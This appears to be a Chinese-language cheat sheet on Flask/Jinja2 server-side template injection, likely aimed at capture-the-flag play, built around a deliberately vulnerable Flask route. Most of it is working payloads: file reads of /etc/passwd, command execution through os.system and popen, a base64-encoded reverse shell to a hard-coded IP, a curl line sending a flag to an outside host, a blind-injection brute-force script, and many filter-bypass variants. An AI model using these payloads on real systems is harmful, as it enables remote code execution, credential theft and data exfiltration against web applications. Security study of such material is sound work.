flask模板注入总结

0x 01 基础知识

参考这篇文章:从零学习flask模板注入

漏洞原理:不正确的使用flask中的render_template_string()导致的SSTI,并且模板内容直接受用户控制

注意:理论上不同机器、不同python版本的payload是不尽相同的。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import *

app = Flask(__name__)

@app.route('/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)

if __name__ == '__main__':
app.run(host='0.0.0.0')

文件读取/命令执行

无论是实现文件读取还是命令执行,需要利用对象的继承,先找到父类``,再寻找子类,最后找到我们需要用到的相应模块

几个要用到的魔术方法

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

0x 02 Python2 环境下测试

测试环境:2.7.12

①获取类对象

1
2
3
4
5
6
7
8
>>> ''.__class__
<type 'str'>
>>> request.__class__
<type 'module'>
>>> [].__class__
<type 'list'>
>>> ().__class__
<type 'tuple'>

②寻找基类object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> requests.__class__.__mro__
(<type 'module'>, <type 'object'>)
>>> [].__class__.__mro__
(<type 'list'>, <type 'object'>)
>>> ().__class__.__mro__
(<type 'tuple'>, <type 'object'>)

>>>request.__class__.__mro__[8]
>>> [].__class__.__base__
<type 'object'>
>>> ().__class__.__base__
<type 'object'>

object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

③寻找可用的引用

1
2
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, 等等

④尝试文件读取

payload

发现40的地方存在 <type 'file'>,使用file方法可以读取文件:

1
2
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
requests.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()

Payload 2 利用<class ‘warnings.catch_warnings’>

’catch_warnings’可以进一步构造来执行命令。

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()   

# 引用__builtins__和file模块

⑤命令执行

寻找包含os模块的脚本

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# encoding: utf-8
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1

得到

1
2
71 <class 'site._Printer'>
76 <class 'site.Quitter'>

前面已经找到了包含os模块的类,先初始化,再引用即可

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

这里命令执行没有回显,用popen函数带出结果或者通过反弹shell和利用curl带出

改造后的payload:

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

反弹shell方法:

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzguMS4yMDQvMTIzNCAwPiYxCg==|base64 -d|bash')

curl带出

1
''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('data=$(cat /fffffflag | base64);curl http://x.x.x.x/?data=$data;')
  • 扩展使用

已知函数名可获取函数信息

1
2
3
4
5
6
7
8
9
10
11
def fun(x=1):
# nothing here
a=x*2
flag='neko'
return a
print fun.func_code.co_consts
print fun.func_globals

=>
(None, 2, 'neko')
{'__builtins__': <module '__builtin__' (built-in)>, '__file__': 'b.py', '__package__': None, 'fun': <function fun at 0x7f1b9317e750>, '__name__': '__main__', '__doc__': None}

可构造

1
2
3
4
5
# 无回显
[].__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__['os'].__dict__['system']('ls')

# 带回显
[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()

一般payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
__import__("o"+"s").__getattribute__('sys'+'tem')("l"+"s")

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).__getattribute__('sys'+'tem')('l'+'s')

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

{(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls'))()}

0x 03 Python3 环境测试

类似于Python2的,常用payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# <class '_frozen_importlib_external._NamespaceLoader'>
().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen("ls").read()
# <class 'os._wrap_close'>
[].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('ls').read()
# <class 'rlcompleter.Completer'>
[].__class__.__base__.__subclasses__()[-1].__init__.__globals__['__builtins__']['__import__']("os").popen("ls").read()

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

[].__class__.__mro__[-1].__subclasses__()[155].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat
/flag').read()")

就是__global__中存在sys或者system或者__builtins__模块,fuzz脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# encoding: utf-8
for item in ().__class__.__bases__[0].__subclasses__():
try:
if 'system' in item.__init__.__globals__:
print('system',num,item)
if 'sys' in item.__init__.__globals__:
print('sys',num,item)
if '__builtins__' in item.__init__.__globals__:
print('__builtins__',num,item)
num+=1
except:
print '-'
num+=1

Jinja2的for循环处理

1
2
3
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ c.__init__.__globals__['__builtins__']['open']('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}{% endif %}{% endfor %}

0x 04 ByPass

.被过滤

基础payload:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

使用getattr()或者|attr()或者[]绕过

1
2
3
4
5
6
[].__class__	=>	getattr([],'__class__')
[].__class__.__base__ => getattr(getattr([],'__class__'),'__base__')
[].__class__.__base__.__subclasses__()[59] => getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]
[].__class__.__base__.__subclasses__()[59].__init__ => getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__')
...
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')

其他

Flask在渲染模板的时候,有

1
"".__class__===""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。

由于里面的内容已经是字符串了,还可以做一个这样的变形

1
"".__class__===""["__cla"+"ss__"]

_被过滤

1
2
3
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')

# '__class__'==>dir(0)[0][0]*2+'class'+dir(0)[0][0]*2

中括号被过滤

可以用getitem或者pop进行绕过过滤

  • 读取文件
1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
  • 命令执行
1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__globals__.linecache.os.pop

引号被过滤

  • chr函数绕过过滤

获取chr函数,后面直接将文件名字chr出来.payload如下:

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
  • 借助request对象
1
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
  • 过滤引号下的命令执行
1
2
3
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤双括号

  • 盲命令执行:
1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

  • 文件盲注
1
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/aa').read()[0:1]=='f' %}~ok~{% endif %}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://127.0.0.1:5000?name="
flag=''
for i in range(32):
for j in range(33,127):
payload="{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/lihuaiqiu').read()["+str(i)+":"+str(i+1)+"]=='"+chr(j)+"' %}~ok~{% endif %}"
true_url=url+payload
r=requests.get(true_url)
if 'ok' in r.text:
flag+=chr(j)
print flag

0x 05 过滤trick

Python的一切皆对象思想

过滤掉了class和request,通过session构造出object,payload为

1
session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]

__enter__与__init__的相似性

通过___enter__来进入我们的对象取代__init__的过滤。

  • 利用转义字符(16进制)过滤._

http://python-ds.com/python-3-escape-sequences

1
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[30]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]['\x5f\x5fimport\x5f\x5f']('os')["popen"]('cat%20/flag*')['read']()}}
  • 利用requests
1
{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要执行的命令').read()
  • 其他
1
2
3
4
#比如flag被过滤,|reverse
''.__class__.__mro__[-1].__subclasses__()[40]('galf'|reverse).read()
#比如getattr被过滤,|attr
(''|attr('__class__')).__mro__[-1].__subclasses__()[127].__init__.__globals__["sys"].modules["os"].system("ls")

0x 06 最后总结

Python 2.7

jinja2的for循环一把梭

1
2
3
4
5
{% for c in ''.__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='Quitter' %}{{ c.__init__.__globals__['os'].system('ls') }}{% endif %}{% endfor %}

{% for c in ''.__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['linecache'].os.system('ls') }}{% endif %}{% endfor %}

{% for c in ''.__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['file']('/etc/passwd').read() }}{% endif %}{% endfor %}

Python 3.7

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{{ c.__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{{ c.__init__.__globals__["sys"].modules["os"].system("ls") }}{% endif %}{% endfor %}

{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{{ c.__init__.__globals__['system']('ls') }}{% endif %}{% endfor %}

fuzz脚本

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
  • jinja2判断

49:jinja2 返回的是 7777777 ,通过测试可以确定为 jinja2

0x 07 推荐工具

一把梭: https://github.com/epinna/tplmap

payload 合集:[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection)

参考资料

https://glotozz.github.io/2020/02/24/flask模版注入/

https://lihuaiqiu.github.io/2019/07/07/SSTI模板注入-Jinja2/